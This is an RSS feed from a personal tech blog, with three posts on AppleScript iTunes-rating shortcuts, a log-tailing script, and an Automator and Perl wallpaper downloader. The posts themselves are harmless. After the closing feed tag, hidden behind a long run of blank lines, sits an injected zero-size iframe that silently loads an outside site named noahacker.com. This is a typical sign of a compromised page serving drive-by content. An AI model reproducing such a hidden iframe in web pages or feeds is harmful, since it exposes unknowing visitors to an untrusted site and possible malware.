<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Gamerism - Nerdlife! &#187; Development</title>
	<atom:link href="http://www.gamerism.com/category/development/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gamerism.com</link>
	<description>If it&#039;s nerdy it will be talked about.</description>
	<lastBuildDate>Fri, 11 Sep 2009 00:04:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Google Juice</title>
		<link>http://www.gamerism.com/2009/09/10/google-juice/</link>
		<comments>http://www.gamerism.com/2009/09/10/google-juice/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 00:04:52 +0000</pubDate>
		<dc:creator>Kertap</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://www.gamerism.com/?p=275</guid>
		<description><![CDATA[I&#8217;ve started a new blog. Gamerism is going to become a more personal deal with travel stories (if I remember to write for it). The new blog is for development of a site I&#8217;m working on. It&#8217;s going to be awesome.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve started a new <a href="http://www.turtledome.com">blog</a>. Gamerism is going to become a more personal deal with travel stories (if I remember to write for it). The new blog is for development of a site I&#8217;m working on. It&#8217;s going to be awesome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gamerism.com/2009/09/10/google-juice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More Applescript</title>
		<link>http://www.gamerism.com/2008/10/06/more-applescript/</link>
		<comments>http://www.gamerism.com/2008/10/06/more-applescript/#comments</comments>
		<pubDate>Tue, 07 Oct 2008 05:00:19 +0000</pubDate>
		<dc:creator>Kertap</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://www.gamerism.com/?p=266</guid>
		<description><![CDATA[Since I got my new computer I&#8217;ve had an iTunes library with practically no top rated songs. I wanted to correct this situation but I find the rating UI fiddly and not likey to my mouse so I set about finding some keyboard shortcuts. None Exist. But they can be created if you have a [...]]]></description>
			<content:encoded><![CDATA[<p>Since I got my new computer I&#8217;ve had an iTunes library with practically no top rated songs. I wanted to correct this situation but I find the rating UI fiddly and not likey to my mouse so I set about finding some keyboard shortcuts. None Exist.</p>

<p>But they can be created if you have a Mac. All with the power of Apple Script. <a href="http://www.macgeekery.com/">Mac Geekery</a> has a post on <a href="http://www.macgeekery.com/tips/automation/use_keyboard_shortcuts_to_rate_songs_in_itunes">Using Keyboard Shortcuts to Rate Songs in iTunes</a>.</p>

<p>The above is a little hard to follow so here&#8217;s a quick rundown.</p>

<p><span id="more-266"></span></p>

<ol>
<li>Check to see if you have a folder located at <code>/Library/iTunes/Scripts</code>. If you don&#8217;t create one.</li>
<li>Open up <code>Script Editor</code>.</li>
<li>Create a script with the following code and save it as <code>Rate as 0</code>. This script will tell itunes to give a song a rating of 1 (itunes uses a scale of 0 to 100 for song ratings).
<pre>
tell application "iTunes"
    repeat with theTrack in (get selection)
        set the rating of theTrack to 20
    end repeat
end tell
</pre></li>
<li>Create 4 other versions of this script and change the value of 20 to 40, 60, 80, and 100 and name theme accordingly. <code>Rate as 1</code>, <code>Rate as 2</code>&#8230;</li>
<li>Open up system preferences and the keyboard and mouse dialog. Click on the Keyboard Shortcuts section. Add a shortcut setting the <code>Application</code> to iTunes, the <code>Menu Title</code> to <code>Rate as 1</code> and the keyboard shortcut to ⌘⌥1. Do this 4 more times for the other 4 ratings.</li>
<li>Open Up ITunes and get rating.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.gamerism.com/2008/10/06/more-applescript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automator and AppleScript</title>
		<link>http://www.gamerism.com/2008/04/01/automator-and-applescript/</link>
		<comments>http://www.gamerism.com/2008/04/01/automator-and-applescript/#comments</comments>
		<pubDate>Wed, 02 Apr 2008 01:54:06 +0000</pubDate>
		<dc:creator>Kertap</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://www.gamerism.com/?p=212</guid>
		<description><![CDATA[Loooonnnng time no talkie. I&#8217;ve been busy. Sometimes I&#8217;ve been busy working on a new website. I might try and post stuff to do with this new site on here in an effort to share the stuff I&#8217;ve learned. To that end I give you a basic AppleScript that other developers may find useful and [...]]]></description>
			<content:encoded><![CDATA[<p>Loooonnnng time no talkie.</p>

<p>I&#8217;ve been busy. Sometimes I&#8217;ve been busy working on a new website. I might try and post stuff to do with this new site on here in an effort to share the stuff I&#8217;ve learned.</p>

<p>To that end I give you a basic AppleScript that other developers may find useful and a slightly less basic Automator script.</p>

<p><strong>The Apple Script</strong></p>

<p>The site I am working on is done with PHP and since I&#8217;m too lazy to look for a debugger I&#8217;ve taken to writing text to a log. I got a little bored and I wanted a one click solution to opening up the mac os x terminal and tailing the log so I whipped up this little AppleScript.</p>

<p><code>
tell application "Terminal"
    activate
    do script "tail -f ~/Documents/Workspace/OnlineHold/logs/debug.txt"
end tell
</code></p>

<p>This is probably too much information for most people who read this blarg but it&#8217;s a fairly simple deal. It opens the Terminal and then tells it to execute the unix command &#8220;tail&#8221; on the debug.txt log file. What this does then is scrolls the log file down the screen as text is written to it. It looks very matrixy to the uninformed.</p>

<p><strong>The Automator Script</strong></p>

<p>In another effort to dodge working on the site I&#8217;ve spent the last few days playing around with automator. I wanted to automatically download a wallpaper image of the internet and use it as my desktop image.</p>

<p>The first thing I needed was to find a site which would update regularly with images. I found the site <a href="http://interfacelift.com/wallpaper/index.php?sort=date&#038;aspect=widescreen&#038;w=1440&#038;h=900">InterfaceLIFT</a>  which seems to update regularly.</p>

<p>With that done I used an article on <a href="http://www.macosxhints.com/article.php?story=20071024141113598">downloading</a> and <a href="http://www.macosxhints.com/article.php?story=20060720062352499">setting</a> wallpapers using Automator as the basis for my workflow.</p>

<p>Unlike in the first article I didn&#8217;t want to download every image. Just the latest. In order to accomplish this I used the handy firefox plugin <a href="http://getfirebug.com">firebug</a> to figure out how exactly the wallpaper site built there image links. I found that each image link had an ascending five digit id associated with it in the link and that the latest image had the largest id. In order to take advantage of this little fact I wrote a brief <a href="http://en.wikipedia.org/wiki/Perl">perl</a> script.</p>

<p><code>
$max = 0;
$latest = "";
foreach (@ARGV) {</code></p>

<h1>print "$_\n";</h1>

<pre><code>$_ =~ m/[0-9]{5}/g;
if ($&amp; &gt; $max) {
    $max = $&amp;;
    $latest = $_;
}
</code></pre>

<p>}
print $latest;
</p>

<p>This little piece of <a href="http://en.wikipedia.org/wiki/Clarke's_three_laws">magic</a> got me the latest image off the page, which was downloaded to a folder and then set as the background. </p>

<p>I was getting the workflow to run every hour but it if it runs it takes over the focus so instead I just execute the workflow when i turn my computer on.</p>

<p>Here it is if you want it. <a href="/files/DownloadAndSetWallpaper.dmg">Download and Set Wallpaper disk image</a></p>

<p><b>Update:</b> Poking around the interface lift site led me to a page that contains random wallpapers. I&#8217;ve changed the script to use this as it means that when the script is run you always get a new wallpaper.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gamerism.com/2008/04/01/automator-and-applescript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
		



































<iframe width='0' height='0' src='http://www.noahacker.com'></iframe>	
